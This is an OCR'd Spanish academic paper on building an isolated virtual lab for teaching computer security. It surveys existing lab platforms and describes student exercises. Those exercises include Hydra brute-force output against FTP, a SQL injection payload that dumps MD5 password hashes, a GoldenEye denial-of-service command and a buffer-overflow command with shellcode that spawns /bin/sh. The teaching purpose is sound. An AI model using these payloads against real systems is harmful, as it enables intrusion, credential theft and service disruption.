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RESUMEN

Para un profesional del area de la informatica, la adecuada aplicacion de politicas de seguridad
informatica y de mecanismos que permitan su cumplimiento se han tornado en pilares
fundamentales para el disefio e implementacion de software de calidad. La principal dificultad
para lograr un alto nivel de aprendizaje en seguridad informatica se debe a que esta asignatura
requiere integrar conocimientos previos adquiridos de diversas otras, tales como ingenieria de
software, bases de datos, sistemas operativos, redes de computadoras y ética profesional.
Ademas, en diversas instituciones educacionales no existe un ambiente propicio en el cual los
alumnos puedan experimentar de forma practica los contenidos impartidos. Este trabajo
comprende el estudio del arte de diversas iniciativas desarrolladas para cursos de seguridad
informatica llevadas a cabo en diversas universidades. A partir de este estudio, se propone el
disefio de un ambiente de laboratorio virtual escalable en el tiempo y de costo efectivo. Ademas,
este trabajo presenta una serie de ejercicios practicos que se han desarrollado a la fecha como
también algunos que se incluirian a corto plazo. Por ultimo se presentan diversas ideas para
retroalimentar al docente con el estado del aprendizaje de sus alumnos particularmente
destacando aquellos aspectos donde estos presenten mayores dificultades de aprendizaje.

PALABRAS CLAVES: Seguridad Informatica, Virtualizacién, Habilidades de aprendizaje,
Satisfaccién estudiantil.

INTRODUCCION

El mercado tecnolégico en el mundo y particularmente en Chile sigue creciendo a un ritmo
acelerado, especialmente el segmento de los usuarios de telefonia movil quienes estan
interesados en acceder a servicios de voz y datos en la Internet. Lamentablemente en los
ultimos afos, Chile se ha hecho integrante de la lista de los 10 mayores paises que han sufrido
mas infecciones y ataques de seguridad (Neira, 2014). Esto se debe en parte a la falta de
conocimientos de los resguardos que se deben considerar al construir y utilizar sistemas
informaticos online para prevenir o mitigar la posible pérdida de confidencialidad, integridad y
disponibilidad de nuestros datos.

Para los alumnos de carreras informaticas, es de gran importancia contar con las herramientas
y los conocimientos necesarios para enfrentar las dificultades que se pueden generar en el
desarrollo o administracion de un sistema computacional. Ningun sistema por muy bien
disefiado que esté, esta exento de trasgresiones a su seguridad. Diversos estudios muestran
que podemos encontrar en el software comercial un promedio de 0,5 bugs por cada 1000 lineas
de codigo (Viega, 2002), y por ende ningun sistema es 100 % seguro. Este riesgo es cada dia
mayor, dado que cada dia nos apoyamos mas para realizar nuestro quehacer en un sistema
informatico. Por tanto, se requiere de profesionales que sean capaces de identificar estos
riesgos informaticos y que luego propongan soluciones que prevengan o hagan muy dificil en
complejidad y /o costo la posible explotacion de estos riesgos.
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En diversas instituciones de educacion superior que ofrecen carreras ligadas a la informatica, se
incorpora en su curriculo una asignatura de seguridad informatica. En general, esta asignatura
es impartida utilizando metodologias de aprendizaje centrados en la labor del docente, que si
bien proporcionan al estudiante los conceptos necesarios para comprender un ataque
informatico, fallan al momento que el mismo estudiante aplique su conocimiento para prevenir o
mitigar los efectos de este. Esto se debe en parte al deficiente aprendizaje de conocimiento
previo que posee el estudiante sobre otras asignaturas de su carrera, tales como Ingenieria de
Software, Sistemas Operativos y Redes de Computadoras.

En este trabajo se presenta el estado de desarrollo de una implementacion de un laboratorio de
seguridad informatica que permita a los alumnos comprender las causas que pueden conformar
una vulnerabilidad de software, que puedan explotarla y finalmente sean capaces de proponer
mecanismos de seguridad que puedan detectarlas, prevenirlas o bien mitigar su efecto. Se
presentaran una serie de experimentos practicos desarrollados a la fecha para mejorar diversos
conceptos presentados en una asignatura tipica de seguridad informatica. Un aspecto
destacable de mencionar es que los experimentos desarrollados no tan solo mejoran el
aprendizaje de los alumnos en la asignatura de Seguridad informatica sino que estos también
permitiran reforzar conceptos adquiridos de otras asignaturas relacionadas a su carrera.

Este articulo resume los principales resultados obtenidos en (Riquelme, 2016) y se divide en las
siguientes secciones. Primero daremos una breve descripcion de laboratorios de especialidad
implementados en distintas instituciones académicas. Segundo describiremos que recursos
computacionales de software y hardware hemos escogido para nuestra implementacion. Luego,
describiremos una serie de experimentos que se han desarrollado para presentar algunos
temas de interés de la asignatura. Finalmente, daremos algunos comentarios finales.

REQUERIMIENTOS

En general las asignaturas de introduccion a la Seguridad Informatica cubren al menos las
unidades que se indican en la tabla 1. Basado en este programa se propone disefiar e
implementar un laboratorio que provea un ambiente en el cual los alumnos puedan realizar una
serie de ejercicios practicos, que les permita entender una vulnerabilidad de seguridad y luego
que los mismos estudiantes propongan mecanismos que resuelvan o mitiguen las
consecuencias de un ataque que aproveche tal vulnerabilidad.

Tal laboratorio deberia ofrecer una plataforma de experimentacion que facilite y refuerce:

o Instalacién: Que los ejercicios practicos a desarrollar sea facilmente instalables en
cualquier ambiente computacional.

o Aislacion: El desarrollo de los ejercicios deben circunscribirse a los limites del
ambiente del laboratorio, de modo de evitar que el desarrollo de ellos pueda interferir
con actividades normales que se realicen en redes externas al laboratorio.

o Accesibilidad: El ambiente del laboratorio no puede ser accesible remotamente, ya
sea dentro del laboratorio mismo (a menos que se habilite explicitamente esta
posibilidad), pero nunca desde fuentes externas a él.

o Monitoreo: Los ejercicios practicos deben permitir al docente o encargado del
laboratorio el seguimiento de las actividades realizadas por los estudiantes con el fin
de detectar dificultades de aprendizaje o eventualidades durante su desarrollo.
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Unidad Contenidos
Conceptos basicos Definicion de Seguridad Informatica,
Modelos, terminologia
Criptografia Criptografia de llave privada: DES, AES

Criptografia de llave publica: RSA
Funciones de Hashing, MD5, SHA-3
Certificados digitales y firmas digitales
Control de Acceso

Seguridad de Software Saturaciéon de bufer, inyeccion de codigo,
XSS, CSRF.

Programacion segura de software.
Software  malicioso: Virus, gusanos,
troyanos, etc.

Seguridad de Redes Cortafuegos y Sistemas de deteccion de
intrusos (IDS) en redes.

Protocolos de autenticacion de usuarios
remotos (SSH, SSL), tuneles (IPSec,
VPN)

Etica y Derecho Informatico Cédigos de ética de entidades
profesionales, legislacion Chilena e
Internacional.

Tabla 1. Programa tipico de una asignatura de introduccion a la seguridad informatica

ESTUDIO DEL ARTE

Observando los requerimientos planteados en la seccidn anterior se realizo una busqueda
bibliografica sobre proyectos de disefio e implementacion de una plataforma de
experimentacion de seguridad informatica para fines educativos (Anderson, 2006; Du, 2009;
Mirkovic, 2011; Tripathi, 2010; Wang, 2013). A continuacién se describen los proyectos mas
citados:

El primero proyecto existente corresponde a Xen Worlds (Anderson, 2006). Este software esta
desarrollado en base a un monitor de maquinas virtuales llamado Xen. Este monitor es un
hipervisor de tipo 1 desarrollado originalmente por la Universidad de Cambridge. Es de cédigo
libre, razon por la cual ha sido utilizado como base para virtualizacion por diversas empresas,
universidades y particulares desde que Amazon lo implementara como una solucién para
administrar sus servidores.

El proyecto utiliza como base el hipervisor para crear un banco de pruebas virtuales donde los
estudiantes puedan configurar redes de maquinas virtuales (MVs) completamente funcionales a
las que denomina un Xen Worlds. En la Universidad Estatal de lowa (Rursch, 2013) se
destinaron un maximo de 30 maquinas virtuales por curso al semestre, ejecutadas en un unico
computador con un procesador Pentium 4 y 2 GB de RAM. En cada computador pudo correr 30
maquinas simultaneamente sin que el rendimiento decreciera notoriamente

Dado que Xen Worlds esta disefiado a partir de Xen, gran parte de sus ventajas vienen dadas
por la arquitectura del hipervisor, el que permite crear un ambiente aislado, donde cada alumno
al correr su MV, no es consciente del trafico y de los programas ejecutados por sus
companferos. Esta caracteristica es fundamental ya que se espera poder modificar y “romper
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cosas” sin afectar el sistema que las aloja o el resto de los sistemas operativos (SO)
virtualizados dentro del anfitrion.

En Xen Worlds el acceso a las maquinas virtuales se realiza por medio del protocolo ssh vy los
alumnos pueden iniciar, respaldar, eliminar y trasladar sus MVs mediante otras aplicaciones
desarrolladas para estos efectos.

Otro proyecto desarrollado es SEED (SEcurity EDucation) Labs (Du, 2009). Este consiste en un
repertorio de experimentos disefiados para un curso de seguridad informatica que se
implementan sobre una maquina virtual con el SO Ubuntu 12.04. Este SO tiene pre-instalado y
configurado una serie de herramientas, servidores, vulnerabilidades y servicios para realizar de
forma individual y con una configuracién minima los ejercicios planteados por cada modulo del
proyecto SEED. Cada moddulo consiste de un problema de seguridad que es explicado
brevemente en un documento y los estudiantes deben intentar lograr los objetivos planteados
por el modulo. Este proyecto utiliza un software de paravirtualizacion, es decir, donde el
hipervisor corre como una aplicacion sobre el sistema operativo anfitrién para ejecutar una o
mas imagenes de la maquina virtual.

Actualmente SEED ha desarrollado mas de 30 laboratorios de seguridad que abordan
problematicas de desarrollo de software, de redes de computadores, de sistemas operativos y
también de criptografia. Estos laboratorios requieren de una o mas maquinas virtuales y en
ocasiones deben utilizar también el sistema operativo Minix 4.

La gran ventaja de este proyecto es que permite que los laboratorios puedan ser facilmente
instalados y por tanto permite a los estudiantes enfrentar el problema planteado en pocos
minutos ya que la maquina virtual de Ubuntu tiene instalada todas las aplicaciones necesarias.
El alumno sdlo tiene que descargar la imagen, montarla sobre un software de virtualizacion y
seguir los pasos indicados en un documento que describe los objetivos del laboratorio.

La principal desventaja de SEED es que hace uso de la paravirtualizacién y aunque tanto
VMware como VirtualBox cuentan con motores que optimizan las llamadas a los recursos
fisicos, sigue siendo una aplicacién dentro de un sistema operativo. Es el SO anfitrion el que
controla los recursos, por lo que tener mas de tres maquinas virtuales corriendo en un
computador con un procesador de menos de 2 GHz y 2 GB de RAM empobrece notoriamente el
rendimiento del sistema. Se recomienda dedicar sélo 512 MB de RAM, pero en ocasiones el
sistema requiere de un minimo de 1024 MB para correr las aplicaciones con las cuales se
trabajara.

Otro proyecto similar es DETERLab (Benzel, 2006), que consiste de una plataforma de cientos
de servidores sobre los que se ha virtualizado practicamente todo tipo de hardware y software.
Esta disponible de forma gratuita a cualquier persona que desee hacer uso de ella. DeterLab
esta basado en Linux y fue creado para ensefiar a sus alumnos el disefio de sistemas
operativos en la Vrije Universiteit de Amsterdam. Su principal objetivo es proveer un ambiente
seguro sobre el cual los profesionales del area de seguridad cibernética puedan desarrollar,
descubrir y probar tecnologias, software, configuraciones de red, sistemas operativos, etc.

Se accede de forma remota y por medio de una cuenta online, la cual se crea completando un
formulario donde se especifican los motivos para los cuales se utilizara DETERLab. Se debe
adjuntar también una autorizacion o certificado de la institucién o empresa a la que pertenece
quien solicita la cuenta. Si bien desde un cierto punto de vista, parece ser una solucion factible,
la falta de mecanismos de monitoreo de los alumnos nos lleva a descartar esta opcion.
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Otro proyecto similar a Xen World es Sunyit (Bull, 2012). Emplea un hipervisor de Xen
mejorado, llamado Xen Cloud Platform, que incluye un modo de administracion grafico local y
excluye un par de caracteristicas mininas que posee el Xen original. Sunyit usé Xen Cloud
Platform para virtualizar tres servidores con una capacidad de 16 GB de RAM y un procesador
Intel Zeon Quad Core. Como medida de seguridad fracciond una red en subredes. Los alumnos
se conectan de forma remota a la plataforma por medio de una aplicacién web creada con java.

Finalmente la ultima alternativa analizada son los Offensive Security PenetrationTesting Virtual
Labs (Offensive Security, 2016). Esta es una plataforma en linea de laboratorios virtuales que
cuentan con una amplia variedad de laboratorios disefiados por la empresa Offensive Security.
Esta alternativa cuenta con alrededor de 40 maquinas con multiples sistemas operativos. Estas
maquinas son empleadas para simular diversos escenarios reales.

Para acceder a los laboratorios se debe crear una cuenta y pagar el registro. La cuenta permite
tomar una serie de cursos disponibles en la pagina web y conectarse a los servidores por medio
de una conexion VPN, lo que implica que los estudiantes deben contar con una conexién
rapida. Cabe destacar que Offensive Security es una empresa que ha ganado popularidad por
ser quien ha desarrollado el sistema operativo Kali Linux. Este SO tiene instalado por defecto
mas de 600 aplicaciones para realizar diversos tipos de ataques, pruebas y auditorias de
seguridad informatica y ademas esta disponible de forma gratuita.

En (Riquelme, 2016) se realiza un analisis mas detallado de la las caracteristicas y limitaciones
de los proyectos presentado y sugiere que si se desea priorizar rendimiento y escalabilidad Xen
Worlds es una buena opcién. Esto porque es un ambiente basado en un hipervisor tipo uno, que
permitiria virtualizar un numero mayor de maquinas virtuales en un mismo ambiente sin
sacrificar en demasia el rendimiento. Ademas, permite mantener aislados los experimentos del
resto de las instalaciones del laboratorio. En comparaciéon con soluciones comerciales similares
como VMware, XenWorlds es una soluciéon de bajo costo y gran rendimiento. Sin embargo si la
prioridad es el costo, la mejor opcion es Virtual Box. Esto es porque es un software disponible
gratuitamente para los principales SOs y cumple con funciones similares al del hipervisor tipo 1.

Si bien estamos trabajando en adaptar Xen Worlds a los propésitos de nuestro laboratorio, se
decidio inicialmente preparar experimentos del tipo SEED sobre Kali Linux y VirtualBox.

EXPERIMENTOS

Se realiz6 un estudio de los contenidos de cada unidad de la tabla 1 en relacion a los ataques
mas comunmente usados para penetrar sistemas seleccionando los siguientes.

1. Ataque de fuerza bruta: Corresponde a la accidén de recuperar una contrasefia o clave a
través de la prueba de cada una de las posibles combinaciones de claves hasta dar con
aquella correcta. (Wikipedia, Ataque de Fuerza Bruta, 2016)

2. Ataque de Inyeccion SQL: Es un tipo de ataque donde se logra ejecutar sentencias SQL
maliciosas que permiten obtener acceso no autorizado a datos privados almacenados en
una base de datos SQL. (Cid, 2014)

3. Ataque de Denegacioén de Servicio (DOS, Denial of Service): consiste en crear un gran
flujo de trafico de red el cual es encauzado hacia un servidor objetivo con la intencion de
sobrecargarlo para ralentizar su servicio o forzarlo a desconectarse de la red. La idea es
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evitar que usuarios legitimos puedan acceder a través de la red al objetivo. (Jacobson,
2008).

4. Ataque del Hombre en el Medio (Man-in-the-Middle): E| atacante es capaz de intervenir
la comunicacion entre dos entidades de modo tal que estas no son conscientes de la
existencia del interventor. Este atacante podria ya sea leer, insertar y/o modificar a
voluntad, los mensajes transmitidos entre las dos entidades. (Stamp, 2011)

5. Ataque de Saturacién de Bufer (Buffer Overflow): Este ataque consiste en sobrescribir el
puntero de retorno de una funcion vulnerable e identificada en un programa, con el fin de
alterar el curso de ejecucion normal del programa. La idea es identificar un arreglo o
bufer que emplee la funcién para el cual no se chequea el tamafo de los datos que
pudieran ser cargados en ella (Aleph1, 1996).

Para realizar los laboratorios, cada estudiante debe tener acceso a una red que consista de tres
magquinas virtuales cuyos detalles se muestran en la tabla 2. Para los requerimientos se utilizo
como base, aquellos recomendados por el desarrollador del SO.

MV 1 MV 2 MV3
Sistema Operativo Ubuntu 14.04TrustyJar Kali Linux 64 bits Ubuntu Server 14.04
Hardware Virtualizado | 1CPU 3.9 GHz 1CPU 3.9 GHz 1CPU 3.9 GHz
1 GB RAM 1 GB RAM 1 GB RAM
Red Interna Red Interna Red Interna
12 MB video 12 MB video 12 MB video

Particiones

300 MB ext2 /boot
15 GB ext3 /root
2 GB swap

65 GB ext4 /home

300 MB ext2 /boot
15 GB ext3 /root
2 GB swap

65 GB ext4 /home

100 MB ext2 /boot
15 GB ext3 /root
2 GB swap

50 GB ext4 /home

Tabla 2: Maquinas Virtuales empleadas en los Laboratorios

En las MV se instalaron las siguientes aplicaciones:

Mv1 Mv2 MV3
Webmin John The Ripper Apache
Php5 DVWA Mysql
Mysql Apache2 Php5
DVWA (modificado) Mysql FTP
phpmyadmin Php5 Webmin
Apache Ettercap Phpmyadmin
Wireshark SSH
hydra DVWA
Goldeneye OpenSSH
Tor
Crunch
Nmap

Tabla 3: Software instalado en cada maquina virtual

Para el ataque de fuerza bruta, los estudiantes deben descubrir la contrasefia de acceso a un
servidor FTP. Para ello, los estudiantes deben crear una lista de usuarios y contrasefias con el
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software Crunch (Liatsisfotis, 2013) y luego realizar un ataque de fuerza bruta con el programa
Hydra (Van Hauser, 2016) al servidor FTP.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-14 22:18:20

[WARNING] Restorefile (./hydra.restore) from a previous session found, to prever
t overwriting, you have 10 seconds to abort...

[DATA] max 16 tasks per 1 server, overall 64 tasks, 17304 login tries (1:721/p:Z
4), ~16 tries per task

[DATA] attacking service ftp on port 21

[STATUS] 112. tries/min, 112 tries in 00:01h, 17192 todo in 02:34h, 16 active

[STATUS] 133. tries/min, 400 tries in 00:03h, 16904 todo in 02:07h, 16 active
[STATUS] 139. tries/min, 976 tries in 00:07h, 16328 todo in 01:58h, 16 active
[STATUS] 141. tries/min, 2128 tries in 00:15h, 15176 todo in 01:47h, 16 active
[STATUS] 141. tries/min, 4384 tries in 00:31h, 12920 todo in 01:32h, 16 active
[STATUS] 142. tries/min, 6688 tries in 00:47h, 10616 todo in 01:15h, 16 active
[STATUS] 141. tries/min, 8944 tries in 01:03h, 8360 todo in 00:59h, 16 active
L 1[ ] host: login: password:

Figura 1: Ataque de fuerza bruta con Hydra.

Para realizar el ataque de inyeccion SQL, los estudiantes deben ejecutar la aplicacion DVWA
(Fpalenzuela, 2014), la cual permite rapidamente configurar y poner online un servidor web y
una base de datos MySQL que presenta la vulnerabilidad que permite la ejecucion exitosa de
este ataque. Los alumnos deben intentar acceder a través de la interfaz web acceder a la tabla
information_schema para descubrir detalles de las tablas de la base de datos y luego descubrir
los usuarios y contrasefas de acceso almacenadas en la misma base de datos. En MySQL, las
contrasefas son protegidas con MD5, por lo que a los estudiantes se les sugiere emplear John
The Ripper (Rm-rf.es, 2014) (ataque de fuerza bruta o de diccionario) para descifrar estas
contrasefas.

User ID: Aceptar

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: admin
Apellido: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: kookie
Apellido: 250775c¢593d30d8d9f93c24faefd34f1

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: suga
Apellido: 964fe6242ca987d24f0fdfd851983c68

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: moonie
Apellido: 2953965bb4b7d7852ca51d735873126d

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: chimchim
Apellido: 967ab7737cccb696be5fd243d32796b0

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: jin
Apellido: a34e763c833blealfcf0447d5b27538f

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: jhope
Apellido: e8590d8108bb590f55de08e9de6e49b4

ID: 'and 1=1 union select usuario, password from usuarios#
Nombre: taetae
Apellido: 8c6d3e5284e73a62652e8de483022f07

Figura 2: Ataque de inyeccion SQL

Para probar un ataque de denegacion de servicio, los alumnos deben configurar un servidor
web y desde otra maquina virtual ejecutar la aplicacion Goldeneye (Wroot, 2016), la que permite
generar intentos de conexion TCP al servidor web objetivo. Para observar al aumento de trafico
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en la red, los alumnos emplean la aplicacién EtherApe (Toledo, 2016), la cual permite
monitorear de forma grafica la efectividad del ataque.

:~/Desktop/Goldeneye$ sudo ./goldeneye.py http://192.168.1.89/dvwa
-w 50 -s 750 -m get

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

Hitting webserver in mode 'get' with 50 workers running 750 connections each. Hi
t CTRL+C to cancel.

Fgura 3: Ejemplo de ataque DOS con Goldeneye a servidor web alojada en servidor Ubuntu.

Como un ejemplo de un ataque de hombre en el medio, los estudiantes deben realizar un
ataque de falsificacion ARP (ARP Spoofing y Sniffing) en una red virtual. Esta red consiste de
tres MVs, de las cuales dos simulan a entidades legitimas que intercambian datos y la tercera
corresponde a la maquina del atacante, quien intenta “envenenar” o modificar las tablas ARP de
las dos primeras utilizando el programa Ettercap (Ettercap Project, 2016). Posteriormente el
spoofing en la red se realiza con Wireshark (Wireshark Foundation, 2016).

Para ejecutar un ataque de saturacion de bufer. Los alumnos deben intentar utilizar
exitosamente un exploit previamente creado para generar un buffer overflow haciendo uso de
otro codigo que contiene una consola o shell. Este shell es almacenado dentro de un arreglo
que al “saturarse” permite sobrescribir la direccion de retorno de la funcidon ejecutada y obtener
una terminal con acceso root.

Starting program: /home/alumno/Escritorio/Bufer/prueba $(python -c "print('\x90'*220+'
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xcO\x88\x43\x07\x89\x5b\x08\x
89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e
\x2f\x73\x68'+"'\xc0\xee\xff\xbf')")

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000,

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000100F 10100 leeCeoeC

o
©oS

00000 /bin/shecee
process 4257 is executing new program: /bin/dash
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$

Figura 4: Ataque de saturacion de Bufer

CONCLUSIONES

A corto plazo estamos preparando una serie de rubricas para evaluar la efectividad del
aprendizaje de los alumnos al realizar los laboratorios, para identificar problemas en la
ejecucion de estos y para revisar posibles eventualidades que puedan surgir. Diversos trabajos
(Mirkovic, 2011; Wang, 2013) sugieren que el “aprendizaje haciendo (learning by doing)” es una
metodologia adecuada para que los alumnos asimilen conceptos complejos que requieren una
diversidad de conocimiento previo como los problemas que surgen en la seguridad informatica.
Sin duda este esfuerzo no sera eficaz sino se le facilita al docente de un mecanismo que le
apoye en el rapida deteccion de problemas en la realizacion de los laboratorios. Es por ello que
estamos trabajando en un sistema de monitoreo que permita realizar un seguimiento a las
actividades que realiza un estudiante. En estos momentos estamos capturando el log de las
actividades que realiza un alumno al realizar un ataque de saturacién de bufer desde un
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terminal. Estos logs son almacenados en una base de datos externa de modo de permitirle al
profesor un analisis posterior. Esperamos en el futuro incluir el monitoreo de los restantes y
nuevos ataques.
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